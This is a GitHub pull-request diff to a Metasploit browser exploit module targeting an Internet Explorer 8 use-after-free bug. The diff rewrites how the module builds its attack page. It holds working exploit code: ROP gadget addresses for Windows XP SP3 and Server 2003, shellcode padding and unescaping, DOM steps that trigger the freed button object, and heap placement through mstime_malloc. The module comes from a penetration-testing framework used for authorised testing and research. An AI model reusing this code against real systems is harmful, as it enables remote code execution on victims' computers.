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Uses js_mstime_malloc to do the no-spray technique #1787

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merged 2 commits into from
May 3, 2013
Merged

Uses js_mstime_malloc to do the no-spray technique #1787

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329e822
Uses js_mstime_malloc to do the no-spray technique
wchen-r7 May 2, 2013
eb23b5f
Forgot to remove function ie8_smil. Don't need this anymore.
wchen-r7 May 2, 2013
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110 changes: 40 additions & 70 deletions modules/exploits/windows/browser/ie_cbutton_uaf.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -120,60 +120,6 @@ def get_target(agent)
return nil
end

def ie8_smil(my_target, p)

case my_target['Rop']
when :msvcrt
case my_target.name
when 'IE 8 on Windows XP SP3'
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
when 'IE 8 on Windows Server 2003'
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
end
else
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
end

padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
js_payload = Rex::Text.to_unescape(p)

js = %Q|
unicorn = unescape("#{padding}");
for (i=0; i < 3; i++) {
unicorn += unescape("#{padding}");
}

unicorn += unescape("#{js_payload}");

animvalues = unescape("#{align_esp}");

for (i=0; i < 0xDC/4; i++) {
if (i == 0xDC/4-1) {
animvalues += unescape("#{xchg_esp}");
}
else {
animvalues += unescape("#{align_esp}");
}
}

animvalues += unicorn;

for(i = 0; i < 21; i++) {
animvalues += ";cyan";
}
|

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

return js
end

def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end
Expand Down Expand Up @@ -286,45 +232,69 @@ def get_payload(t, cli)

def load_exploit_html(my_target, cli)

p = get_payload(my_target, cli)
js = ie8_smil(my_target, p)
case my_target['Rop']
when :msvcrt
case my_target.name
when 'IE 8 on Windows XP SP3'
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
when 'IE 8 on Windows Server 2003'
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
end
else
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
end

html = %Q|
<!doctype html>
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
js_payload = Rex::Text.to_unescape(get_payload(my_target, cli))

html = %Q|<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>

<script>
function helloWorld()
{
#{js_mstime_malloc}


function helloWorld() {
e_form = document.getElementById("formelm");
e_div = document.getElementById("divelm");

#{js}

for(i =0; i < 20; i++) {
document.createElement('button');
}
e_div.appendChild(document.createElement('button'))
e_div.appendChild(document.createElement('button'));
e_div.firstChild.applyElement(e_form);

e_div.innerHTML = ""
e_div.innerHTML = "";
e_div.appendChild(document.createElement('body'));

CollectGarbage();
CollectGarbage();

try {
a = document.getElementById('myanim');
a.values = animvalues;
p = unescape("#{padding}");
for (i=0; i < 3; i++) {
p += unescape("#{padding}");
}
p += unescape("#{js_payload}");

fo = unescape("#{align_esp}");
for (i=0; i < 55; i++) {
if (i == 54) { fo += unescape("#{xchg_esp}"); }
else { fo += unescape("#{align_esp}"); }
}
catch(e) {}
}

fo += p;

mstime_malloc({shellcode:fo, heapBlockSize:0x58, objId:"myanim"});
}
</script>
</head>

<body onload="eval(helloWorld())">
<t:ANIMATECOLOR id="myanim"/>
<div id="divelm"></div>
Expand Down